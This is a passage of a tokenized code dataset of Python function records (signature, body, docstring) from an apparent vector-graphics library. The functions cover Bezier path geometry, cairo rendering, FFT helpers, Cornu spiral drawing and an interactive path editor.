None:<EOL><INDENT>self.default = self.min<EOL><DEDENT><DEDENT>elif self.type == TEXT:<EOL><INDENT>self.default = kwargs.get(\"<STR_LIT:default>\", \"<STR_LIT>\")<EOL><DEDENT>elif self.type == BOOLEAN:<EOL><INDENT>self.default = kwargs.get(\"<STR_LIT:default>\", True)<EOL><DEDENT>elif self.type == BUTTON:<EOL><INDENT>self.default = kwargs.get(\"<STR_LIT:default>\", self.name)<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>self.value = kwargs.get(\"<STR_LIT:value>\", self.default)<EOL>if self.value is None and self.default is not None:<EOL><INDENT>self.value = self.default<EOL><DEDENT>", "docstring": ":param name:     Name of variable\n:param type:     NUMBER | TEXT | BOOLEAN | BUTTON\n:param default:  default value\n:param min:      min value if number\n:param max:      max value if number\n:param value:    value\n:param step:     step between values - cannot specify at same time as step\n:param steps:    total steps\n:return:", "id": "f11541:c0:m0"}
{"signature": "def sanitize(self, val):", "body": "if self.type == NUMBER:<EOL><INDENT>try:<EOL><INDENT>return clamp(self.min, self.max, float(val))<EOL><DEDENT>except ValueError:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT><DEDENT>elif self.type == TEXT:<EOL><INDENT>try:<EOL><INDENT>return unicode(str(val), \"<STR_LIT>\", \"<STR_LIT:replace>\")<EOL><DEDENT>except:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT><DEDENT>elif self.type == BOOLEAN:<EOL><INDENT>if unicode(val).lower() in (\"<STR_LIT:true>\", \"<STR_LIT:1>\", \"<STR_LIT:yes>\"):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Given a Variable and a value, cleans it out", "id": "f11541:c0:m1"}
{"signature": "def compliesTo(self, v):", "body": "if self.type == v.type:<EOL><INDENT>if self.type == NUMBER:<EOL><INDENT>if self.value < self.min or self.value > self.max:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Return whether I am compatible with the given var:\n             - Type should be the same\n             - My value should be inside the given vars' min/max range.", "id": "f11541:c0:m2"}
{"signature": "def _append_element(self, render_func, pe):", "body": "self._render_funcs.append(render_func)<EOL>self._elements.append(pe)<EOL>", "docstring": "Append a render function and the parameters to pass\nan equivilent PathElement, or the PathElement itself.", "id": "f11542:c0:m1"}
{"signature": "def _traverse(self, cairo_ctx):", "body": "for render_func in self._render_funcs:<EOL><INDENT>render_func(cairo_ctx)<EOL><DEDENT>", "docstring": "Traverse this path", "id": "f11542:c0:m13"}
{"signature": "def _get_bounds(self):", "body": "if self._bounds:<EOL><INDENT>return self._bounds<EOL><DEDENT>record_surface = cairo.RecordingSurface(cairo.CONTENT_COLOR_ALPHA, (-<NUM_LIT:1>, -<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>))<EOL>dummy_ctx = cairo.Context(record_surface)<EOL>self._traverse(dummy_ctx)<EOL>self._bounds = dummy_ctx.path_extents()<EOL>return self._bounds<EOL>", "docstring": "Return cached bounds of this Grob.\nIf bounds are not cached, render to a meta surface, and\nkeep the meta surface and bounds cached.", "id": "f11542:c0:m14"}
{"signature": "def contains(self, x, y):", "body": "if self._bounds:<EOL><INDENT>return self._bounds<EOL><DEDENT>record_surface = cairo.RecordingSurface(cairo.CONTENT_COLOR_ALPHA, (-<NUM_LIT:1>, -<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>))<EOL>dummy_ctx = cairo.Context(record_surface)<EOL>self._traverse(dummy_ctx)<EOL>in_fill = dummy_ctx.in_fill(x, y)<EOL>return in_fill<EOL>", "docstring": "Return cached bounds of this Grob.\nIf bounds are not cached, render to a meta surface, and\nkeep the meta surface and bounds cached.", "id": "f11542:c0:m16"}
{"signature": "def _get_center(self):", "body": "if self._center:<EOL><INDENT>return self._center<EOL><DEDENT>(x1, y1, x2, y2) = self._get_bounds()<EOL>x = (x1 + x2) / <NUM_LIT:2><EOL>y = (y1 + y2) / <NUM_LIT:2><EOL>center = self._center = x, y<EOL>return center<EOL>", "docstring": "Return cached bounds of this Grob.\nIf bounds are not cached, render to a meta surface, and\nkeep the meta surface and bounds cached.", "id": "f11542:c0:m17"}
{"signature": "def _render_closure(self):", "body": "fillcolor = self.fill<EOL>strokecolor = self.stroke<EOL>strokewidth = self.strokewidth<EOL>def _render(cairo_ctx):<EOL><INDENT>'''<STR_LIT>'''<EOL>transform = self._call_transform_mode(self._transform)<EOL>if fillcolor is None and strokecolor is None:<EOL><INDENT>return<EOL><DEDENT>cairo_ctx.set_matrix(transform)<EOL>self._traverse(cairo_ctx)<EOL>cairo_ctx.set_matrix(cairo.Matrix())<EOL>if fillcolor is not None and strokecolor is not None:<EOL><INDENT>if strokecolor[<NUM_LIT:3>] < <NUM_LIT:1>:<EOL><INDENT>cairo_ctx.push_group()<EOL>cairo_ctx.set_source_rgba(*fillcolor)<EOL>cairo_ctx.fill_preserve()<EOL>e = cairo_ctx.stroke_extents()<EOL>cairo_ctx.set_source_rgba(*strokecolor)<EOL>cairo_ctx.set_operator(cairo.OPERATOR_SOURCE)<EOL>cairo_ctx.set_line_width(strokewidth)<EOL>cairo_ctx.stroke()<EOL>cairo_ctx.pop_group_to_source()<EOL>cairo_ctx.paint()<EOL><DEDENT>else:<EOL><INDENT>cairo_ctx.set_source_rgba(*fillcolor)<EOL>cairo_ctx.fill_preserve()<EOL>cairo_ctx.set_source_rgba(*strokecolor)<EOL>cairo_ctx.set_line_width(strokewidth)<EOL>cairo_ctx.stroke()<EOL><DEDENT><DEDENT>elif fillcolor is not None:<EOL><INDENT>cairo_ctx.set_source_rgba(*fillcolor)<EOL>cairo_ctx.fill()<EOL><DEDENT>elif strokecolor is not None:<EOL><INDENT>cairo_ctx.set_source_rgba(*strokecolor)<EOL>cairo_ctx.set_line_width(strokewidth)<EOL>cairo_ctx.stroke()<EOL><DEDENT><DEDENT>return _render<EOL>", "docstring": "Use a closure so that draw attributes can be saved", "id": "f11542:c0:m18"}
{"signature": "def _get_contours(self):", "body": "<EOL>contours = []<EOL>current_contour = None<EOL>empty = True<EOL>for i, el in enumerate(self._get_elements()):<EOL><INDENT>if el.cmd == MOVETO:<EOL><INDENT>if not empty:<EOL><INDENT>contours.append(current_contour)<EOL><DEDENT>current_contour = BezierPath(self._bot)<EOL>current_contour.moveto(el.x, el.y)<EOL>empty = True<EOL><DEDENT>elif el.cmd == LINETO:<EOL><INDENT>empty = False<EOL>current_contour.lineto(el.x, el.y)<EOL><DEDENT>elif el.cmd == CURVETO:<EOL><INDENT>empty = False<EOL>current_contour.curveto(el.c1x, el.c1y, el.c2x, el.c2y, el.x, el.y)<EOL><DEDENT>elif el.cmd == CLOSE:<EOL><INDENT>current_contour.closepath()<EOL><DEDENT><DEDENT>if not empty:<EOL><INDENT>contours.append(current_contour)<EOL><DEDENT>return contours<EOL>", "docstring": "Returns a list of contours in the path, as BezierPath objects.\nA contour is a sequence of lines and curves separated from the next contour by a MOVETO.\nFor example, the glyph \"o\" has two contours: the inner circle and the outer circle.", "id": "f11542:c0:m20"}
{"signature": "def _locate(self, t, segments=None):", "body": "<EOL>if segments is None:<EOL><INDENT>segments = self._segment_lengths(relative=True)<EOL><DEDENT>if len(segments) == <NUM_LIT:0>:<EOL><INDENT>raise PathError(\"<STR_LIT>\")<EOL><DEDENT>for i, el in enumerate(self._get_elements()):<EOL><INDENT>if i == <NUM_LIT:0> or el.cmd == MOVETO:<EOL><INDENT>closeto = Point(el.x, el.y)<EOL><DEDENT>if t <= segments[i] or i == len(segments) - <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>t -= segments[i]<EOL><DEDENT><DEDENT>try:<EOL><INDENT>t /= segments[i]<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>pass<EOL><DEDENT>if i == len(segments) - <NUM_LIT:1> and segments[i] == <NUM_LIT:0>:<EOL><INDENT>i -= <NUM_LIT:1><EOL><DEDENT>return (i, t, closeto)<EOL>", "docstring": "Locates t on a specific segment in the path.\n            Returns (index, t, PathElement)\n            A path is a combination of lines and curves (segments).\n            The returned index indicates the start of the segment that contains point t.\n            The returned t is the absolute time on that segment,\n            in contrast to the relative t on the whole of the path.\n            The returned point is the last MOVETO, any subsequent CLOSETO after i closes to that point.\n            When you supply the list of segment lengths yourself, as returned from length(path, segmented=True),\n            point() works about thirty times faster in a for-loop since it doesn't need to recalculate\n            the length during each iteration.", "id": "f11542:c0:m21"}
{"signature": "def point(self, t, segments=None):", "body": "<EOL>if len(self._elements) == <NUM_LIT:0>:<EOL><INDENT>raise PathError(\"<STR_LIT>\")<EOL><DEDENT>if self._segments is None:<EOL><INDENT>self._segments = self._get_length(segmented=True, precision=<NUM_LIT:10>)<EOL><DEDENT>i, t, closeto = self._locate(t, segments=self._segments)<EOL>x0, y0 = self[i].x, self[i].y<EOL>p1 = self[i + <NUM_LIT:1>]<EOL>if p1.cmd == CLOSE:<EOL><INDENT>x, y = self._linepoint(t, x0, y0, closeto.x, closeto.y)<EOL>return PathElement(LINETO, x, y)<EOL><DEDENT>elif p1.cmd in (LINETO, MOVETO):<EOL><INDENT>x1, y1 = p1.x, p1.y<EOL>x, y = self._linepoint(t, x0, y0, x1, y1)<EOL>return PathElement(LINETO, x, y)<EOL><DEDENT>elif p1.cmd == CURVETO:<EOL><INDENT>x3, y3, x1, y1, x2, y2 = p1.x, p1.y, p1.ctrl1.x, p1.ctrl1.y, p1.ctrl2.x, p1.ctrl2.y<EOL>x, y, c1x, c1y, c2x, c2y = self._curvepoint(t, x0, y0, x1, y1, x2, y2, x3, y3)<EOL>return PathElement(CURVETO, c1x, c1y, c2x, c2y, x, y)<EOL><DEDENT>else:<EOL><INDENT>raise PathError(\"<STR_LIT>\" % (p1.cmd, p1))<EOL><DEDENT>", "docstring": "Returns the PathElement at time t (0.0-1.0) on the path.\n\nReturns coordinates for point at t on the path.\nGets the length of the path, based on the length of each curve and line in the path.\nDetermines in what segment t falls. Gets the point on that segment.\nWhen you supply the list of segment lengths yourself, as returned from length(path, segmented=True),\npoint() works about thirty times faster in a for-loop since it doesn't need to recalculate\nthe length during each iteration.", "id": "f11542:c0:m22"}
{"signature": "def points(self, amount=<NUM_LIT:100>, start=<NUM_LIT:0.0>, end=<NUM_LIT:1.0>, segments=None):", "body": "<EOL>if len(self._elements) == <NUM_LIT:0>:<EOL><INDENT>raise PathError(\"<STR_LIT>\")<EOL><DEDENT>n = end - start<EOL>d = n<EOL>if amount > <NUM_LIT:1>:<EOL><INDENT>d = float(n) / (amount - <NUM_LIT:1>)<EOL><DEDENT>for i in range(int(amount)):<EOL><INDENT>yield self.point(start + d * i, segments)<EOL><DEDENT>", "docstring": "Returns an iterator with a list of calculated points for the path.\n            To omit the last point on closed paths: end=1-1.0/amount", "id": "f11542:c0:m23"}
{"signature": "def _linepoint(self, t, x0, y0, x1, y1):", "body": "<EOL>out_x = x0 + t * (x1 - x0)<EOL>out_y = y0 + t * (y1 - y0)<EOL>return (out_x, out_y)<EOL>", "docstring": "Returns coordinates for point at t on the line.\n            Calculates the coordinates of x and y for a point at t on a straight line.\n            The t parameter is a number between 0.0 and 1.0,\n            x0 and y0 define the starting point of the line,\n            x1 and y1 the ending point of the line.", "id": "f11542:c0:m24"}
{"signature": "def _linelength(self, x0, y0, x1, y1):", "body": "<EOL>a = pow(abs(x0 - x1), <NUM_LIT:2>)<EOL>b = pow(abs(y0 - y1), <NUM_LIT:2>)<EOL>return sqrt(a + b)<EOL>", "docstring": "Returns the length of the line.", "id": "f11542:c0:m25"}
{"signature": "def _curvepoint(self, t, x0, y0, x1, y1, x2, y2, x3, y3, handles=False):", "body": "<EOL>mint = <NUM_LIT:1> - t<EOL>x01 = x0 * mint + x1 * t<EOL>y01 = y0 * mint + y1 * t<EOL>x12 = x1 * mint + x2 * t<EOL>y12 = y1 * mint + y2 * t<EOL>x23 = x2 * mint + x3 * t<EOL>y23 = y2 * mint + y3 * t<EOL>out_c1x = x01 * mint + x12 * t<EOL>out_c1y = y01 * mint + y12 * t<EOL>out_c2x = x12 * mint + x23 * t<EOL>out_c2y = y12 * mint + y23 * t<EOL>out_x = out_c1x * mint + out_c2x * t<EOL>out_y = out_c1y * mint + out_c2y * t<EOL>if not handles:<EOL><INDENT>return (out_x, out_y, out_c1x, out_c1y, out_c2x, out_c2y)<EOL><DEDENT>else:<EOL><INDENT>return (out_x, out_y, out_c1x, out_c1y, out_c2x, out_c2y, x01, y01, x23, y23)<EOL><DEDENT>", "docstring": "Returns coordinates for point at t on the spline.\n            Calculates the coordinates of x and y for a point at t on the cubic bezier spline,\n            and its control points, based on the de Casteljau interpolation algorithm.\n            The t parameter is a number between 0.0 and 1.0,\n            x0 and y0 define the starting point of the spline,\n            x1 and y1 its control point,\n            x3 and y3 the ending point of the spline,\n            x2 and y2 its control point.\n            If the handles parameter is set, returns not only the point at t,\n            but the modified control points of p0 and p3 should this point split the path as well.", "id": "f11542:c0:m26"}
{"signature": "def _curvelength(self, x0, y0, x1, y1, x2, y2, x3, y3, n=<NUM_LIT:20>):", "body": "<EOL>length = <NUM_LIT:0><EOL>xi = x0<EOL>yi = y0<EOL>for i in range(n):<EOL><INDENT>t = <NUM_LIT:1.0> * (i + <NUM_LIT:1>) / n<EOL>pt_x, pt_y, pt_c1x, pt_c1y, pt_c2x, pt_c2y =self._curvepoint(t, x0, y0, x1, y1, x2, y2, x3, y3)<EOL>c = sqrt(pow(abs(xi - pt_x), <NUM_LIT:2>) + pow(abs(yi - pt_y), <NUM_LIT:2>))<EOL>length += c<EOL>xi = pt_x<EOL>yi = pt_y<EOL><DEDENT>return length<EOL>", "docstring": "Returns the length of the spline.\n            Integrates the estimated length of the cubic bezier spline defined by x0, y0, ... x3, y3,\n            by adding the lengths of lineair lines between points at t.\n            The number of points is defined by n\n            (n=10 would add the lengths of lines between 0.0 and 0.1, between 0.1 and 0.2, and so on).\n            The default n=20 is fine for most cases, usually resulting in a deviation of less than 0.01.", "id": "f11542:c0:m27"}
{"signature": "def _segment_lengths(self, relative=False, n=<NUM_LIT:20>):", "body": "<EOL>lengths = []<EOL>first = True<EOL>for el in self._get_elements():<EOL><INDENT>if first is True:<EOL><INDENT>close_x, close_y = el.x, el.y<EOL>first = False<EOL><DEDENT>elif el.cmd == MOVETO:<EOL><INDENT>close_x, close_y = el.x, el.y<EOL>lengths.append(<NUM_LIT:0.0>)<EOL><DEDENT>elif el.cmd == CLOSE:<EOL><INDENT>lengths.append(self._linelength(x0, y0, close_x, close_y))<EOL><DEDENT>elif el.cmd == LINETO:<EOL><INDENT>lengths.append(self._linelength(x0, y0, el.x, el.y))<EOL><DEDENT>elif el.cmd == CURVETO:<EOL><INDENT>x3, y3, x1, y1, x2, y2 = el.x, el.y, el.c1x, el.c1y, el.c2x, el.c2y<EOL>lengths.append(self._curvelength(x0, y0, x1, y1, x2, y2, x3, y3, n))<EOL><DEDENT>if el.cmd != CLOSE:<EOL><INDENT>x0 = el.x<EOL>y0 = el.y<EOL><DEDENT><DEDENT>if relative:<EOL><INDENT>length = sum(lengths)<EOL>try:<EOL><INDENT>return [l / length for l in lengths]<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>return [<NUM_LIT:0.0>] * len(lengths)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return lengths<EOL><DEDENT>", "docstring": "Returns a list with the lengths of each segment in the path.", "id": "f11542:c0:m28"}
{"signature": "def _get_length(self, segmented=False, precision=<NUM_LIT:10>):", "body": "<EOL>if not segmented:<EOL><INDENT>return sum(self._segment_lengths(n=precision), <NUM_LIT:0.0>)<EOL><DEDENT>else:<EOL><INDENT>return self._segment_lengths(relative=True, n=precision)<EOL><DEDENT>", "docstring": "Returns the length of the path.\n            Calculates the length of each spline in the path, using n as a number of points to measure.\n            When segmented is True, returns a list containing the individual length of each spline\n            as values between 0.0 and 1.0, defining the relative length of each spline\n            in relation to the total path length.", "id": "f11542:c0:m29"}
{"signature": "def _get_elements(self):", "body": "for index, el in enumerate(self._elements):<EOL><INDENT>if isinstance(el, tuple):<EOL><INDENT>el = PathElement(*el)<EOL>self._elements[index] = el<EOL><DEDENT>yield el<EOL><DEDENT>", "docstring": "Yields all elements as PathElements", "id": "f11542:c0:m30"}
{"signature": "def __getitem__(self, item):", "body": "if isinstance(item, slice):<EOL><INDENT>indices = item.indices(len(self))<EOL>return [self.__getitem__(i) for i in range(*indices)]<EOL><DEDENT>else:<EOL><INDENT>el = self._elements[item]<EOL>if isinstance(el, tuple):<EOL><INDENT>el = PathElement(*el)<EOL>self._elements[item] = el<EOL><DEDENT>return el<EOL><DEDENT>", "docstring": "el is either a PathElement or the parameters to pass\nto one.\nIf el is a PathElement return it\nIf el is parameters, create a PathElement and return it", "id": "f11542:c0:m32"}
{"signature": "def _get_center(self):", "body": "x = (self.x + self.width / <NUM_LIT:2>)<EOL>y = (self.y + self.height / <NUM_LIT:2>)<EOL>return (x, y)<EOL>", "docstring": "Returns the center point of the path, disregarding transforms.", "id": "f11543:c1:m3"}
{"signature": "def drawdaisy(x, y, color='<STR_LIT>'):", "body": "<EOL>_ctx.push()<EOL>_fill =_ctx.fill()<EOL>_stroke = _ctx.stroke()<EOL>sc = (<NUM_LIT:1.0> / _ctx.HEIGHT) * float(y * <NUM_LIT:0.5>) * <NUM_LIT><EOL>_ctx.strokewidth(sc * <NUM_LIT>)<EOL>_ctx.stroke('<STR_LIT>')<EOL>_ctx.line(x + (sin(x * <NUM_LIT:0.1>) * <NUM_LIT>), y + <NUM_LIT>, x + sin(_ctx.FRAME * <NUM_LIT:0.1>), y)<EOL>_ctx.translate(-<NUM_LIT:20>, <NUM_LIT:0>)<EOL>_ctx.scale(sc)<EOL>_ctx.fill(color)<EOL>_ctx.nostroke()<EOL>for angle in xrange(<NUM_LIT:0>, <NUM_LIT>, <NUM_LIT>):<EOL><INDENT>_ctx.rotate(degrees=<NUM_LIT>)<EOL>_ctx.rect(x, y, <NUM_LIT>, <NUM_LIT:8>, <NUM_LIT:1>)<EOL><DEDENT>_ctx.fill('<STR_LIT>')<EOL>_ctx.ellipse(x + <NUM_LIT:15>, y, <NUM_LIT:10>, <NUM_LIT:10>)<EOL>_ctx.fill(_fill)<EOL>_ctx.stroke(_stroke)<EOL>_ctx.pop()<EOL>", "docstring": "Draw a daisy at x, y", "id": "f11545:m0"}
{"signature": "def fft_bandpassfilter(data, fs, lowcut, highcut):", "body": "fft = np.fft.fft(data)<EOL>bp = fft.copy()<EOL>bp *= fft.dot(fft) / bp.dot(bp)<EOL>ibp = <NUM_LIT:12> * np.fft.ifft(bp)<EOL>return ibp<EOL>", "docstring": "http://www.swharden.com/blog/2009-01-21-signal-filtering-with-python/#comment-16801", "id": "f11546:m0"}
{"signature": "def flatten_fft(scale=<NUM_LIT:1.0>):", "body": "_len = len(audio.spectrogram)<EOL>for i, v in enumerate(audio.spectrogram):<EOL><INDENT>yield scale * (i * v) / _len<EOL><DEDENT>", "docstring": "Produces a nicer graph, I'm not sure if this is correct", "id": "f11546:m1"}
{"signature": "def scaled_fft(fft, scale=<NUM_LIT:1.0>):", "body": "data = np.zeros(len(fft))<EOL>for i, v in enumerate(fft):<EOL><INDENT>data[i] = scale * (i * v) / NUM_SAMPLES<EOL><DEDENT>return data<EOL>", "docstring": "Produces a nicer graph, I'm not sure if this is correct", "id": "f11546:m2"}
{"signature": "def quit(self):", "body": "if self.running:<EOL><INDENT>self.running = False<EOL>self.join()<EOL><DEDENT>", "docstring": "Shutdown the audio thread", "id": "f11546:c1:m4"}
{"signature": "def draw_cornu_flat(x0, y0, t0, t1, s0, c0, flip, cs, ss, cmd):", "body": "for j in range(<NUM_LIT:0>, <NUM_LIT:100>):<EOL><INDENT>t = j * <NUM_LIT><EOL>s, c = eval_cornu(t0 + t * (t1 - t0))<EOL>s *= flip<EOL>s -= s0<EOL>c -= c0<EOL>x = c * cs - s * ss<EOL>y = s * cs + c * ss<EOL>print_pt(x0 + x, y0 + y, cmd)<EOL>cmd = '<STR_LIT>'<EOL><DEDENT>return cmd<EOL>", "docstring": "Raph Levien's code draws fast LINETO segments.", "id": "f11548:m11"}
{"signature": "def draw_cornu_bezier(x0, y0, t0, t1, s0, c0, flip, cs, ss, cmd, scale, rot):", "body": "s = None<EOL>for j in range(<NUM_LIT:0>, <NUM_LIT:5>):<EOL><INDENT>t = j * <NUM_LIT><EOL>t2 = t+ <NUM_LIT><EOL>curvetime = t0 + t * (t1 - t0)<EOL>curvetime2 = t0 + t2 * (t1 - t0)<EOL>Dt = (curvetime2 - curvetime) * scale<EOL>if not s:<EOL><INDENT>s, c = eval_cornu(curvetime)<EOL>s *= flip<EOL>s -= s0<EOL>c -= c0<EOL>dx1 =  cos(pow(curvetime, <NUM_LIT:2>) + (flip * rot))  <EOL>dy1 =  flip * sin(pow(curvetime, <NUM_LIT:2>) + (flip *rot))<EOL>x = ((c * cs - s * ss) +x0)<EOL>y = ((s * cs + c * ss) + y0)<EOL><DEDENT>s2,c2 = eval_cornu(curvetime2) <EOL>s2 *= flip<EOL>s2 -= s0<EOL>c2 -= c0<EOL>dx2 = cos(pow(curvetime2, <NUM_LIT:2>) + (flip * rot)) <EOL>dy2 = flip * sin(pow(curvetime2, <NUM_LIT:2>) + (flip * rot))<EOL>x3 = ((c2 * cs - s2 * ss)+x0)<EOL>y3 = ((s2 * cs + c2 * ss)+y0)<EOL>x1 = (x + ((Dt/<NUM_LIT>) * dx1))<EOL>y1 = (y + ((Dt/<NUM_LIT>) * dy1))   <EOL>x2 = (x3 - ((Dt/<NUM_LIT>) * dx2))<EOL>y2 = (y3 - ((Dt/<NUM_LIT>) * dy2))<EOL>if cmd == '<STR_LIT>':<EOL><INDENT>print_pt(x, y, cmd)<EOL>cmd = '<STR_LIT>'<EOL><DEDENT>print_crv(x1, y1, x2, y2, x3, y3)<EOL>dx1, dy1 = dx2, dy2<EOL>x,y = x3, y3<EOL><DEDENT>return cmd<EOL>", "docstring": "Mark Meyer's code draws elegant CURVETO segments.", "id": "f11548:m12"}
{"signature": "def overlap(self, x1, y1, x2, y2, r=<NUM_LIT:5>):", "body": "if abs(x2-x1) < r and abs(y2-y1) < r:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Returns True when point 1 and point 2 overlap.\n\n        There is an r treshold in which point 1 and point 2\n        are considered to overlap.", "id": "f11549:c1:m1"}
{"signature": "def reflect(self, x0, y0, x, y):", "body": "rx = x0 - (x-x0)<EOL>ry = y0 - (y-y0)<EOL>return rx, ry<EOL>", "docstring": "Reflects the point x, y through origin x0, y0.", "id": "f11549:c1:m2"}
{"signature": "def angle(self, x0, y0, x1, y1):", "body": "a = degrees( atan((y1-y0) / (x1-x0+<NUM_LIT>)) ) + <NUM_LIT><EOL>if x1-x0 < <NUM_LIT:0>: a += <NUM_LIT><EOL>return a<EOL>", "docstring": "Calculates the angle between two points.", "id": "f11549:c1:m3"}
{"signature": "def distance(self, x0, y0, x1, y1):", "body": "return sqrt(pow(x1-x0, <NUM_LIT:2>) + pow(y1-y0, <NUM_LIT:2>))<EOL>", "docstring": "Calculates the distance between two points.", "id": "f11549:c1:m4"}
{"signature": "def coordinates(self, x0, y0, distance, angle):", "body": "x = x0 + cos(radians(angle)) * distance<EOL>y = y0 + sin(radians(angle)) * distance<EOL>return Point(x, y)<EOL>", "docstring": "Calculates the coordinates of a point from the origin.", "id": "f11549:c1:m5"}
{"signature": "def contains_point(self, x, y, d=<NUM_LIT:2>):", "body": "if self.path != None and len(self.path) > <NUM_LIT:1>and self.path.contains(x, y):<EOL><INDENT>if not self.path.contains(x+d, y)or not self.path.contains(x, y+d)or not self.path.contains(x-d, y)or not self.path.contains(x, y-d)or not self.path.contains(x+d, y+d)or not self.path.contains(x-d, y-d)or not self.path.contains(x+d, y-d)or not self.path.contains(x-d, y+d):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns true when x, y is on the path stroke outline.", "id": "f11549:c1:m6"}
{"signature": "def insert_point(self, x, y):", "body": "try: <EOL><INDENT>bezier = _ctx.ximport(\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>from nodebox.graphics import bezier<EOL><DEDENT>n = <NUM_LIT:100><EOL>closest = None<EOL>dx0 = float(\"<STR_LIT>\") <EOL>dy0 = float(\"<STR_LIT>\")<EOL>for i in range(n):<EOL><INDENT>t = float(i)/n<EOL>pt = self.path.point(t)<EOL>dx = abs(pt.x-x)<EOL>dy = abs(pt.y-y)<EOL>if dx+dy <= dx0+dy0:<EOL><INDENT>dx0 = dx<EOL>dy0 = dy<EOL>closest = t<EOL><DEDENT><DEDENT>decimals = [<NUM_LIT:3>,<NUM_LIT:4>]<EOL>for d in decimals:<EOL><INDENT>d = <NUM_LIT:1.0>/pow(<NUM_LIT:10>,d)<EOL>for i in range(<NUM_LIT:20>):<EOL><INDENT>t = closest-d + float(i)*d*<NUM_LIT:0.1><EOL>if t < <NUM_LIT:0.0>: t = <NUM_LIT:1.0>+t<EOL>if t > <NUM_LIT:1.0>: t = t-<NUM_LIT:1.0><EOL>pt = self.path.point(t)<EOL>dx = abs(pt.x-x)<EOL>dy = abs(pt.y-y)<EOL>if dx <= dx0 and dy <= dy0:<EOL><INDENT>dx0 = dx<EOL>dy0 = dy<EOL>closest_precise = t<EOL><DEDENT><DEDENT>closest = closest_precise   <EOL><DEDENT>p = bezier.insert_point(self.path, closest_precise)<EOL>i, t, pt = bezier._locate(self.path, closest_precise)<EOL>i += <NUM_LIT:1><EOL>pt = PathElement()<EOL>pt.cmd = p[i].cmd<EOL>pt.x = p[i].x<EOL>pt.y = p[i].y<EOL>pt.ctrl1 = Point(p[i].ctrl1.x, p[i].ctrl1.y)<EOL>pt.ctrl2 = Point(p[i].ctrl2.x, p[i].ctrl2.y)<EOL>pt.freehand = False<EOL>self._points.insert(i, pt)<EOL>self._points[i-<NUM_LIT:1>].ctrl1 = Point(p[i-<NUM_LIT:1>].ctrl1.x, p[i-<NUM_LIT:1>].ctrl1.y)<EOL>self._points[i+<NUM_LIT:1>].ctrl1 = Point(p[i+<NUM_LIT:1>].ctrl1.x, p[i+<NUM_LIT:1>].ctrl1.y)<EOL>self._points[i+<NUM_LIT:1>].ctrl2 = Point(p[i+<NUM_LIT:1>].ctrl2.x, p[i+<NUM_LIT:1>].ctrl2.y)<EOL>", "docstring": "Inserts a point on the path at the mouse location.\n\n        We first need to check if the mouse location is on the path.\n        Inserting point is time intensive and experimental.", "id": "f11549:c1:m7"}
{"signature": "def update(self):", "body": "x, y = mouse()<EOL>if self.show_grid:<EOL><INDENT>x, y = self.grid.snap(x, y)<EOL><DEDENT>if _ctx._ns[\"<STR_LIT>\"]and not self.freehand:<EOL><INDENT>self._dirty = True<EOL>if self.edit != Noneand not self.drag_pointand not self.drag_handle1and not self.drag_handle2:<EOL><INDENT>pt = self._points[self.edit]<EOL>dx = pt.x+self.btn_x<EOL>dy = pt.y+self.btn_y<EOL>if self.overlap(dx, dy, x, y, r=self.btn_r):<EOL><INDENT>self.delete = self.edit<EOL>return<EOL><DEDENT>dx += self.btn_r*<NUM_LIT:2> + <NUM_LIT:2><EOL>if self.edit == len(self._points) -<NUM_LIT:1> andself.overlap(dx, dy, x, y, r=self.btn_r):<EOL><INDENT>self.moveto = self.edit<EOL>return<EOL><DEDENT><DEDENT>if self.insert:<EOL><INDENT>self.inserting = True<EOL>return<EOL><DEDENT>if not self.drag_point andnot self.drag_handle1 andnot self.drag_handle2:<EOL><INDENT>self.editing = False<EOL>indices = range(len(self._points))<EOL>indices.reverse()<EOL>for i in indices:<EOL><INDENT>pt = self._points[i]<EOL>if pt != self.newand self.overlap(x, y, pt.x, pt.y)and self.new == None:<EOL><INDENT>if self.edit == i+<NUM_LIT:1>and self.overlap(self._points[i+<NUM_LIT:1>].ctrl1.x,<EOL>self._points[i+<NUM_LIT:1>].ctrl1.y, x, y):<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>self.edit = i<EOL>self.editing = True<EOL>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not self.editing:<EOL><INDENT>if self.edit != None:<EOL><INDENT>pt = self._points[self.edit]<EOL>if self.overlap(pt.ctrl1.x, pt.ctrl1.y, x, y) orself.overlap(pt.ctrl2.x, pt.ctrl2.y, x, y):<EOL><INDENT>self.editing = True<EOL><DEDENT>else:<EOL><INDENT>self.edit = None<EOL><DEDENT><DEDENT><DEDENT>if self.edit == None:<EOL><INDENT>if self.new == None:<EOL><INDENT>self.new = PathElement()<EOL>if self.moveto == Trueor len(self._points) == <NUM_LIT:0>:<EOL><INDENT>cmd = MOVETO<EOL>self.moveto = None<EOL>self.last_moveto = self.new<EOL><DEDENT>else:<EOL><INDENT>cmd = CURVETO<EOL><DEDENT>self.new.cmd = cmd<EOL>self.new.x = x<EOL>self.new.y = y<EOL>self.new.ctrl1 = Point(x, y)<EOL>self.new.ctrl2 = Point(x, y)<EOL>self.new.freehand = False<EOL>if len(self._points) > <NUM_LIT:0>:<EOL><INDENT>prev = self._points[-<NUM_LIT:1>]<EOL>rx, ry = self.reflect(prev.x, prev.y, prev.ctrl2.x, prev.ctrl2.y)<EOL>self.new.ctrl1 = Point(rx, ry)<EOL><DEDENT>self._points.append(self.new)<EOL><DEDENT>else:<EOL><INDENT>rx, ry = self.reflect(self.new.x, self.new.y, x, y)<EOL>self.new.ctrl2 = Point(rx, ry)<EOL><DEDENT><DEDENT>elif self.new == None:<EOL><INDENT>pt = self._points[self.edit]<EOL>if 